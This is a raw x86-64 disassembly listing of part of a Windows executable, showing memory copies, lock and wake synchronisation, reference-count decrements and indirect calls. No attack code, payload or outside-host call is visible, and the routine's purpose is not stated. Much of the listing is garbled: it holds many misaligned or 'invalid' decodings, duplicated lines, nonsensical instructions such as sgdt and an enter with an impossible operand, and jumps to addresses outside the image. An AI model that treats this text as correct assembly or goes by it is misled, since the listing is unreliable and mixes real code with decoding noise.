lea rdx, [rsp + 0x397]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x464]
mov eax, dword [rsp + 0x464]
mov eax, dword [rsp + 0x464]
mov rax, qword [rsp + 0x468]
mov qword [rsp + 0x2a8], rax
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x58
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x58
mov dword [rsp + 0xa8], r8d
test al, 0
add byte [rax], al
call fcn.140026920
cmp qword [rsp + 0xc0], 0
add byte [rdi], cl
test dl, al
sbb dword [rax], eax
invalid
add byte [rdi], cl
test dl, al
sbb dword [rax], eax
add bl, dh
movq mm0, qword [rsp + 0xc0]
movdqu xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x470], xmm0
mov rcx, qword [rsp + 0x470]
add al, 0
add byte [rbx + rcx*4 - 0x7c], al
and al, 0x78
add al, 0
add byte [rbx + 0x47c2484], cl
add byte [rax], al
add al, 0
add byte [rbx + rcx*4 - 0x7c], al
and al, 0x78
add al, 0
add byte [rbx + 0x47c2484], cl
add byte [rax], al
mov dword [rsp + 0x2a0], r8d
mov dword [rsp + 0x2a4], eax
cmp qword [rcx + 0x10], r8
mov r13, qword [rsp + 0x90]
jbe 0x14009d7d4
add byte [rax], al
add byte [rax], al
mov r9, qword [rcx + 8]
imul rdx, r8, 0x130
cmp dword [r9 + rdx], 2
je 0x14009d7d4
invalid
add byte [rcx + 1], cl
rol dword [rcx + 0x39], 1
adc dword [rcx + rax], 0x850f0000
sbb byte [rax], al
add byte [rcx - 0x3a], al
and dword [0x14009bf9f], 0x24848944
movabs al, byte [0x2a4248489000002]
add byte [rcx + 0x2a42484], cl
add r9, rdx
cmp dword [r9 + 0x114], eax
jne 0x14009d7d4
mov byte [r9 + 0x125], 0
mov dword [rsp + 0x2a0], r8d
add byte [rcx + 0x2a42484], cl
add byte [rax], al
add byte [rcx + 0x2a42484], cl
add byte [rax], al
cmp qword [rcx + 0x10], r8
jbe 0x14009d75e
mov r8, qword [rcx + 8]
mov rcx, qword [r8 + rdx]
cmp rcx, 2
je 0x14009d75e
add r8, rdx
cmp dword [r8 + 0x114], eax
adc byte [rcx + rax], 0
add byte [rdi], cl
invalid
mov dword [rdi], edx
add byte [rax], al
adc byte [rcx + rax], 0
add byte [rdi], cl
test dword [rcx + 0x48000017], ecx
test ecx, ecx
test rcx, rcx
je 0x14009c241
mov rax, qword [rbx + 0x28]
cmp rax, qword [rbx + 0x30]
jbe 0x14009c22c
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0xb8]
add byte [rax], al
lea rbx, [rsp + 0x470]
mov rdx, rbx
call fcn.14001fce0
fdivr qword [rax + rdi*8]
dec dword [rcx + rcx*4 - 0x17]
fdivr qword [rax + rdi*8]
dec dword [rcx + rcx*4 - 0x17]
mov rdx, rbx
mov rbx, qword [rsp + 0x88]
add byte [rax], al
add byte [rax], al
call fcn.1400a51e0
jmp 0x14009c241
mov byte [rsp + 0x42], r11b
mov dword [rsp + 0x44], r10d
and al, 0x44
and al, 0x44
mov r10, qword [rbx + 0x128]
mov rdx, qword [rcx + 0x88]
cmp r8, r10
cmovae r8, r10
cmovae eax, edx
add byte [rbp + 0x39], cl
ror byte [rbp + 0xf], 1
cmovae eax, edx
invalid
invalid
cmovae eax, edx
mov r11, r8
sub r11, rdx
mov r9d, 0
cmovae r9, r11
test r13d, r13d
je 0x14009c066
mov r11d, dword [rcx + 0x80]
sub r11d, r13d
jl 0x14009d8b4
jno 0x14009c1f5
movzx r11d, byte [rsp + 0x42]
mov eax, r13d
mov qword [rsp + 0xf0], rax
sub rdx, rax
sub edx, eax
mov qword [rcx + 0x88], rdx
sub dword [rcx + 0x118], r13d
sub r8, rdx
invalid
sar byte [rax], 1
mov eax, 0
cmovae rax, r8
cmp r9, rax
jae 0x14009c0ca
invalid
xor esi, eax
and dword [rbx], 0x1000001
invalid
mov byte [rcx + 0x123], 1
add dword [rax - 0x75], ecx
xchg ecx, eax
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + 0x98]
invalid
invalid
invalid
nop
add byte [rax], al
add byte [rax], al
invalid
mov rdx, qword [rcx + 0x90]
mov rax, qword [rcx + 0x98]
mov qword [rcx + 0x90], 0
invalid
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc dword [rax], 0x48000000
test edx, edx
add byte [rax], al
test rdx, rdx
je 0x14009c0ca
mov rcx, rax
call qword [rdx + 8]
movzx r11d, byte [rsp + 0x42]
pop rsp
and al, 0x42
sar edi, 0x52
or byte [rdi + rcx - 0x4a], al
pop rsp
and al, 0x42
mov eax, dword [rbx + 0x124]
mov ecx, eax
add ecx, r13d
jo 0x14009c0df
mov dword [rbx + 0x124], ecx
mov eax, ecx
test r13d, r13d
test ebp, ebp
mov edx, dword [rsp + 0x78]
mov r9d, dword [rsp + 0x44]
je case.0x14006a01c.217
mov rcx, qword [rsp + 0x120]
mov ecx, dword [rcx]
sub ecx, r13d
sub ecx, ebp
jl 0x14009d8b4
add byte [rax + 0x16], dh
jo case.0x14006a01c.217
mov r8, qword [rsp + 0x120]
mov dword [r8], ecx
sub eax, r13d
add dword [rax], eax
add byte [rcx - 0x77], al
or byte [rcx + rbp - 0x18], al
jo case.0x14006a01c.217
mov dword [rbx + 0x124], eax
add byte [rsi + 0x4c], ah
movd eax, mm4
movq rax, xmm12
test rsi, rsi
je 0x14009c142
mov ecx, r14d
cmp rsi, 1
jne 0x14009c15a
pshufd xmm0, xmm13, 0xee
movq rcx, xmm0
movd ecx, mm0
movd ecx, mm0
sub rcx, rax
mov eax, 0
cmovae rax, rcx
mov ecx, r14d
mov ecx, esi
and cl, 0xfe
cmp rax, qword [rsp + 0xf0]
movzx eax, r14b
movzx ecx, cl
cmovbe ecx, eax
enter 0xffffffffffff8c89, 0x24
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
and r14b, 1
mov dword [rsp + 0xac], ecx
add byte [rax], al
and r14b, 1
mov ecx, esi
shr ecx, 0x10
mov rax, rsi
shr rax, 0x20
mov qword [rsp + 0xf8], rax
xor r13d, r13d
mov eax, ebp
mov dword [rsp + 0x70], ebp
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
mov eax, r15d
mov dword [rsp + 0x74], r15d
jl 0x14009c1ad
je 0x14009c1cf
mov byte [rsp + 0x4b], dh
jl 0x14009c1ad
je 0x14009c1cf
mov byte [rsp + 0x4b], dh
mov r14d, ecx
movzx eax, byte [rsp + 0x348]
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
sgdt [rax]
invalid
add cl, ch
sbb byte [rcx], al
add byte [rax], al
jmp 0x14009c2c0
mov eax, dword [rsp + 0x34c]
add byte [rax], al
mov esi, dword [rsp + 0x350]
mov r14d, dword [rsp + 0x354]
mov ah, 0x24
push rsp
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x17], al
mov ah, 0x24
push rsp
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x17], al
dec ecx
lea rdx, [0x1401749f4]
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
invalid
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
add ecx, edx
jmp rcx
mov esi, esi
shr r14d, 0x10
mov edx, eax
mov r9d, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
jmp 0x14009c461
mov dword [rcx + 0x80], r11d
sub eax, r13d
sub eax, ebp
sub eax, ebp
movzx r11d, byte [rsp + 0x42]
jo 0x14009c06c
add byte [rax], al
add byte [rax], al
cmovle eax, r8d
add byte [rax], al
add byte [rcx + 0xf], al
ror byte [rcx + r15 - 0x30], 0x4c
cmp rax, r10
cmovb r10, rax
cmp rax, r10
cmovb r10, rax
ror byte [rdi + rcx + 0x42], 1
ror byte [rbp - 0x77], 1
mov r8, r10
jmp 0x14009c06c
shr cl, 1
invalid
mov rcx, qword [rsp + 0x120]
mov ecx, dword [rsp + 0x120]
lea rdx, [rsp + 0x470]
call fcn.1400212f0
mov dword [rsp + 0x70], r14d
mov r14d, esi
shr r14d, 0x10
mov rax, rsi
shr rax, 0x20
mov qword [rsp + 0xf8], rax
add byte [rax], al
add byte [rbx + 0x2e82484], cl
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x2e82484], cl
add byte [rax], al
mov ecx, dword [rsp + 0x2eb]
jmp 0x14009c26a
add byte [rcx + 0x13b248c], cl
add byte [rax], al
mov dword [rsp + 0x13b], ecx
mov dword [rsp + 0x138], eax
add byte [rax], al
mov r8d, 0xcd
lea rcx, [rsp + 0x498]
lea rdx, [rsp + 0x140]
invalid
add al, ch
invalid
call sub.VCRUNTIME140.dll_memcpy
mov r13b, 3
mov edx, dword [rsp + 0x78]
insd dword [rdi], dx
invalid
and al, 0x78
mov r9d, dword [rsp + 0x44]
movzx r11d, byte [rsp + 0x42]
pop rsp
and al, 0x42
pop rsp
and al, 0x42
movzx eax, byte [rsp + 0x348]
and al, 0x48
add eax, dword [rax]
add byte [rbx + 0xe7709f8], al
cmp eax, 9
ja 0x14009c2c0
cmp eax, 9
ja 0x14009c2c0
mov ecx, 0x209
bt ecx, eax
jb 0x14009c520
add al, byte [rax]
invalid
lea rcx, [rsp + 0x348]
mov ebx, edx
mov dword [rsp + 0x50], r14d
mov r14d, r9d
mov esi, ecx
mov byte [rsp + 0x42], r11b
call fcn.140087fc0
call fcn.140087fc0
movzx r11d, byte [rsp + 0x42]
mov r9d, r14d
mov r14d, dword [rsp + 0x50]
push rax
push rax
mov edx, ebx
mov rbx, qword [rsp + 0x88]
jmp 0x14009c520
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x68
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x4a
jrcxz 0x14009c28e
mov word [rsi + rax*4], fs
add byte [rax], al
add byte [rax], al
movzx ecx, word [rdx - 0x1f]
invalid
add byte [rax], al
movzx ecx, word [rdx - 0x1f]
mov word [rsp + 0x84], cx
mov dword [rsp + 0x84], ecx
mov edx, eax
mov r9d, dword [rsp + 0x4c]
and al, 0x4c
and al, 0x4c
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm9
jmp 0x1af19089d
loopne 0x14009c37d
mov esi, dword [rsp + 0x50]
push rax
jmp 0x1af19089d
loopne 0x14009c37d
push rax
jmp 0x14009c520
mov eax, esi
shr eax, 0x10
mov dword [rsp + 0x50], eax
movdqu xmm13, xmmword [rsp + 0x358]
add bl, dh
movq mm4, qword [rsp + 0x368]
add eax, dword [rax]
invalid
add bl, dh
movq mm4, qword [rsp + 0x368]
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rdi*2], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add byte [rax], al
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0xf0], rax
add byte [rax], al
add byte [rbx + 0x3802484], cl
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x3802484], cl
add byte [rax], al
mov dword [rsp + 0x70], eax
and al, 0x70
mov eax, dword [rsp + 0x384]
mov dword [rsp + 0x74], eax
movzx eax, byte [rsp + 0x388]
mov byte [rsp + 0x4b], al
lea rcx, [rsp + 0x389]
and al, 0x89
add eax, dword [rax]
add byte [rbx + 0x3498b01], cl
and al, 0x89
add eax, dword [rax]
add byte [rbx + 0x3498b01], cl
mov dword [rsp + 0x138], eax
mov dword [rsp + 0x13b], ecx
and al, 0x3b
add dword [rax], eax
invalid
add byte [rcx + 0x13b248c], cl
and al, 0x3b
add dword [rax], eax
cmp eax, dword [rcx]
add byte [rax], al
add byte [rbx + 0x3902484], cl
add byte [rax], al
mov eax, dword [rsp + 0x390]
mov dword [rsp + 0x44], eax
movzx ebx, byte [rsp + 0x394]
xchg esp, eax
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x95
add eax, dword [rax]
add byte [rax + 0xf432444], cl
mov dh, 0x84
and al, 0x96
add eax, dword [rax]
add byte [rcx + 0xac2484], cl
add byte [rax], al
xchg esp, eax
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x95
add eax, dword [rax]
add byte [rax + 0xf432444], cl
mov dh, 0x84
and al, 0x96
add eax, dword [rax]
add byte [rcx + 0xac2484], cl
add byte [rax], al
mov r8d, 0xcd
mov eax, 0xcd
lea rcx, [rsp + 0x498]
lea rdx, [rsp + 0x397]
lea edx, [rsp + 0x397]
lea edx, [rsp + 0x397]
xchg edi, eax
add eax, dword [rax]
add al, ch
add byte [rsi + rax], ch
invalid
call sub.VCRUNTIME140.dll_memcpy
mov r11d, ebx
mov r9d, dword [rsp + 0x44]
and al, 0x44
and al, 0x44
mov eax, dword [rsp + 0x464]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x468]
mov qword [rsp + 0x2a8], rax
mov eax, r14d
mov qword [rsp + 0xf8], rax
add byte [rax], al
add byte [rax], al
mov r14d, dword [rsp + 0x50]
je 0x14009c44e
push rax
mov rbx, qword [rsp + 0x88]
jmp 0x14009c512
fiadd dword [rax]
add byte [rax], al
invalid
add byte [rcx + 0x10e9c1f1], cl
mov ecx, esi
shr ecx, 0x10
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
pop rsp
and al, 0x44
pop rsp
and al, 0x44
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
mov byte [rsp + r12 + 0x43], al
mov eax, r14d
mov eax, esi
mov qword [rsp + 0xf8], rax
mov r14d, ecx
invalid
invalid
movdqa xmm13, xmm9
movdqa xmm12, xmm8
jmp 0x14009c520
mov rcx, qword [rsp + 0x378]
mov qword [rsp + 0xf0], rcx
mov ecx, dword [rsp + 0x380]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x384]
mov dword [rsp + 0x74], ecx
mov edx, eax
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov dh, 0x44
and al, 0x42
mov dh, 0x44
and al, 0x42
mov byte [rsp + 0x43], al
mov eax, r14d
mov qword [rsp + 0xf8], rax
mov r14d, r8d
jmp 0x14009c520
mov edx, dword [rsp + 0x78]
nop word cs:[rax + rax]
mov dword [rsp + 0x78], edx
mov dword [rsp + 0xc0], ebp
mov dword [rsp + 0xc4], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009d68e
mov rax, qword [rbx + 0x1d0]
mov rcx, qword [rax + r12]
cmp rcx, 2
je 0x14009d68e
mov word [rbx + rdi], fs
add dword [rax], eax
add byte [rcx + 0x2e02484], cl
add byte [rax], al
mov dword [rsp + 0x2e3], ecx
mov r8d, 0xcd
lea rcx, [rsp + 0x5f3]
mov word [rbx + rsi*8], fs
add eax, 0x8d480000
xchg esp, eax
and al, 0x98
add al, 0
add al, ch
in al, dx
imul eax, dword [rsi], 0x948b4800
and al, 0x78
add al, byte [rax]
add byte [rax - 0x7d], cl
cli
add cl, byte [rbx + rcx*4 - 0x5c]
and al, 0x70
add al, byte [rax]
add byte [rbx + 0xa8249c], cl
add byte [rax], al
mov word [rbx + rsi*8], fs
add eax, 0x8d480000
xchg esp, eax
and al, 0x98
add al, 0
add al, ch
in al, dx
imul eax, dword [rsi], 0x948b4800
and al, 0x78
add al, byte [rax]
add byte [rax - 0x7d], cl
cli
add cl, byte [rbx + rcx*4 - 0x5c]
and al, 0x70
add al, byte [rax]
add byte [rbx + 0xa8249c], cl
add byte [rax], al
mov r14, qword [rsp + 0x2a8]
mov r15, qword [rsp + 0xf0]
je 0x14009c6e0
mov rcx, qword [rsp + 0x280]
mov rax, qword [rsp + 0x288]
test rdx, rdx
je 0x14009c661
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x290]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x278]
cmp r8, 2
je 0x14009c6e0
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
mov rax, qword [rsp + 0x288]
test r8, r8
je 0x14009c6d4
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x280]
lock dec qword [rax]
jne 0x14009c6e0
mov rcx, qword [rsp + 0x280]
mov rdx, qword [rsp + 0x288]
call fcn.1400049d0
jmp 0x14009c6e0
call qword [rax + 0x80]
nop word [rax + rax]
mov eax, dword [rsp + 0x50]
shl eax, 0x10
movzx ecx, si
or rcx, rax
mov rax, qword [rsp + 0xf8]
shl rax, 0x20
or rax, rcx
mov qword [rsp + 0x5b0], rax
mov ecx, ebp
mov dword [rsp + 0x31c], ebp
movzx r9d, byte [rsp + 0x42]
mov byte [rsp + 0x57], r9b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x56], al
movdqa xmm9, xmm13
movdqa xmm8, xmm12
lea rsi, [rsp + 0x498]
mov rdx, qword [rsp + 0x320]
cmp rdx, 2
mov ebp, ecx
mov byte [rsp + 0x42], r9b
je 0x14009c810
mov rcx, qword [rsp + 0x328]
mov rax, qword [rsp + 0x330]
test rdx, rdx
je 0x14009c773
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x338]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x320]
cmp r8, 2
mov ecx, ebp
movzx r9d, byte [rsp + 0x42]
je 0x14009c810
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x328]
mov rax, qword [rsp + 0x330]
test r8, r8
je 0x14009c802
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x328]
lock dec qword [rax]
mov ecx, ebp
movzx r9d, byte [rsp + 0x42]
jne 0x14009c810
mov rcx, qword [rsp + 0x328]
mov rdx, qword [rsp + 0x330]
call fcn.1400049d0
movzx r9d, byte [rsp + 0x42]
mov ecx, ebp
jmp 0x14009c810
call qword [rax + 0x80]
mov ecx, ebp
movzx r9d, byte [rsp + 0x42]
test r13b, r13b
mov dword [rsp + 0xa8], ebx
mov qword [rsp + 0x2a8], r14
mov qword [rsp + 0xf0], r15
je 0x14009c8c0
movzx eax, r13b
cmp eax, 9
jne 0x14009c8e6
mov dword [rsp + 0x4c], ecx
mov byte [rsp + 0x44], r9b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x42], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3f30
mov r15, rdx
test rax, rax
jne 0x14009cb8c
test r15, r15
jne 0x14009cb8c
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x58]
mov r9, rdi
call fcn.1400a4b60
test al, al
jne 0x14009b4e0
jmp 0x14009cb87
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0x16c], 1
mov eax, dword [rsp + 0x70]
mov dword [rcx + 0x170], eax
mov eax, dword [rsp + 0x74]
mov dword [rcx + 0x174], eax
mov byte [rsp + 0x140], r13b
movzx eax, byte [rsp + 0x82]
lea rdx, [rsp + 0x150]
mov byte [rdx - 0xd], al
movzx eax, word [rsp + 0x80]
mov word [rdx - 0xf], ax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x144], eax
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x148], rax
movdqu xmmword [rsp + 0x150], xmm13
movdqu xmmword [rsp + 0x160], xmm12
mov qword [rsp + 0x170], r15
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x178], eax
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x17c], eax
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x180], al
mov eax, dword [rsp + 0x2e0]
mov ecx, dword [rsp + 0x2e3]
mov dword [rdx + 0x34], ecx
mov dword [rdx + 0x31], eax
mov eax, dword [rsp + 0x31c]
mov dword [rsp + 0x188], eax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x18c], al
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x18d], al
mov eax, dword [rsp + 0xac]
mov byte [rsp + 0x18e], al
mov r8d, 0xcd
lea rcx, [rsp + 0x18f]
lea rdx, [rsp + 0x5f3]
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsp + 0x25c], ebx
mov qword [rsp + 0x260], r14
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x140]
call fcn.140079c30
cmp al, 0xc
jne 0x14009d6a8
cmp dword [rdi + 0x100], 4
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x90]
movzx r11d, byte [rsp + 0x42]
jne 0x14009ca41
mov r10d, ebp
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009caa3
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3f30
mov r15, rdx
test rax, rax
jne 0x14009caf9
test r15, r15
mov r10d, ebp
movzx r11d, byte [rsp + 0x42]
jne 0x14009caa3
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009ce06
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jb 0x14009ce06
test rax, rax
jne 0x14009cb07
test r15, r15
lea rsi, [rsp + 0x498]
jne 0x14009cb07
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x58]
mov r9, rdi
mov ebp, r10d
mov r15d, r11d
call fcn.1400a4b60
mov dword [rsp + 0x4c], ebp
mov byte [rsp + 0x44], r15b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x42], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
jmp 0x14009b4e0
mov r10d, ebp
movzx r11d, byte [rsp + 0x42]
test rax, rax
je 0x14009caa8
mov dword [rsp + 0x4c], r10d
mov byte [rsp + 0x44], r11b
movzx ecx, byte [rsp + 0x43]
movdqa xmm10, xmm13
movdqa xmm11, xmm12
jmp 0x14009cb91
mov rcx, rsi
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14009abb5
call fcn.14010c880
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x14009abc3
jmp 0x14009d6dd
mov rcx, r14
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14009abf8
call fcn.14010c880
xor al, 1
mov dword [rsp + 0xa4], eax
jmp 0x14009ac03
xor r15d, r15d
xor eax, eax
movzx ecx, byte [rsp + 0x42]
test rax, rax
mov byte [rsp + 0x42], cl
jne 0x14009cc13
test r15, r15
jne 0x14009cc13
mov rax, qword [r12]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rsi, rax
mov r14, rdx
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x14009cbc8
mov rcx, qword [rbx + 0x1c0]
call qword [rax + 0x18]
mov qword [rbx + 0x1b8], rsi
mov qword [rbx + 0x1c0], r14
cmp byte [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x2f0]
jne 0x14009cbfb
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009ce87
xor eax, eax
xchg byte [rsi], al
mov rcx, rsi
mov r15d, 0
mov esi, 0
cmp al, 2
je 0x14009cc43
jmp 0x14009cc49
mov rsi, rax
cmp byte [rsp + 0xa4], 0
jne 0x14009cc33
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009ce70
xor eax, eax
mov rcx, qword [rsp + 0x2f0]
xchg byte [rcx], al
cmp al, 2
jne 0x14009cc49
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x318], 0
jne 0x14009cc66
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009ce36
xor eax, eax
mov rcx, qword [rsp + 0x5a8]
xchg byte [rcx], al
cmp al, 2
jne 0x14009cc7c
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rsi, rsi
jne 0x14009cea5
test r15, r15
jne 0x14009d36d
mov rax, qword [rsp + 0x2f8]
cmp qword [rax], 0
cmp byte [rax], al
cmp byte [rax], al
mov rsi, qword [rsp + 0x130]
jne 0x14009ccce
cmp byte [rdi + 0x3dc], 0
jne 0x14009cea5
test esp, esi
add dword [rax], eax
invalid
test esp, esi
add dword [rax], eax
add byte [rbx + 0x3d0bf], al
add byte [rax], al
cmp dword [rdi + 0x3d0], 0
je 0x14009cea5
cmp dword [rdi + 0x3d4], 0x7fffffff
je 0x14009cea5
invalid
mov rdi, qword [rdi + 0x408]
lea rcx, [rdi + 0x10]
xor eax, eax
mov dl, 1
lock cmpxchg byte [rdi + 0x10], dl
jne 0x14009cdba
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009cde0
xor eax, eax
movzx edx, byte [rdi + 0x11]
test dl, dl
jne 0x14009d743
test al, al
jne 0x14009cd37
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009ce4c
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14009cd45
rol byte [rsi + 0x75023c01], 6
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
mov rdi, qword [rsp + 0x128]
jne 0x14009cea5
mov rcx, qword [rdi + 0x408]
add rcx, 0x10
call fcn.14009a1b0
mov dword [rsp + 0x160], eax
mov dword [rsp + 0x164], 0
lea rax, [0x14013a998]
mov qword [rsp + 0x140], rax
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xd29db
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xd29db
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x150]
movups xmmword [rax], xmm6
mov rcx, qword [rsp + 0x300]
lea rdx, [rsp + 0x140]
call fcn.14001f9f0
jmp 0x14009a4f0
mov rsi, rcx
call fcn.14010c7c0
mov rcx, rsi
mov rsi, qword [rsp + 0x130]
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14009ccfb
mov rsi, rcx
call fcn.14010c880
mov rcx, rsi
mov rsi, qword [rsp + 0x130]
xor al, 1
movzx edx, byte [rdi + 0x11]
test dl, dl
je 0x14009cd09
mov dword [rsp + 0x4c], r10d
mov byte [rsp + 0x44], r11b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x42], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
cmp byte [rsp + 0xa4], 0
jne 0x14009cc33
jmp 0x14009cc20
call fcn.14010c880
test al, al
jne 0x14009cc66
invalid
invalid
invalid
invalid
mov byte [rbx + 0x11], 1
jmp 0x14009cc66
mov rsi, rcx
call fcn.14010c880
mov rcx, rsi
mov rsi, qword [rsp + 0x130]
test al, al
jne 0x14009cd37
invalid
invalid
invalid
mov byte [rdi + 0x11], 1
jmp 0x14009cd37
call fcn.14010c880
test al, al
jne 0x14009cc33
mov byte [r14 + 0x11], 1
jmp 0x14009cc33
call fcn.14010c880
test al, al
jne 0x14009cbfb
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x11], 1
jmp 0x14009cbfb
mov rax, qword [rsp + 0x100]
mov byte [rax], 4
mov rax, qword [rsp + 0x578]
cmp rax, 2
jne 0x14009d1b7
jmp 0x14009d232
add byte [rax - 0x75], cl
mov esp, 0x35824
add byte [rax - 0x75], cl
mov word [rax + riz*2], fs
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x48
add eax, dword [rax]
add byte [rax - 0x77], cl
mov ah, 0x24
push rax
add eax, dword [rax]
add byte [rax - 0x77], cl
mov esp, 0x35824
add byte [rax - 0x77], cl
mov word [rax + riz*2], fs
add eax, dword [rax]
add byte [rax - 0x7b], cl
sal byte [rsi + rdx + 0x48], 0x8b
xchg esp, eax
and al, 0x48
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
fcos
call qword [rax + 0x10]
lea rcx, [rsp + 0x360]
mov eax, r12d
call qword [rax + 0x10]
lea rcx, [rsp + 0x360]
mov eax, r12d
or eax, r14d
je 0x14009d08f
test r12d, r12d
je 0x14009d080
lea rax, [rsp + 0x358]
movups xmm0, xmmword [rax]
and al, 0x58
add eax, dword [rax]
add byte [rdi], cl
adc byte [rax], al
movaps xmmword [rsp + 0x140], xmm0
mov bpl, 2
mov bl, 1
mov r14d, r12d
mov qword [rsp + 0x488], r15
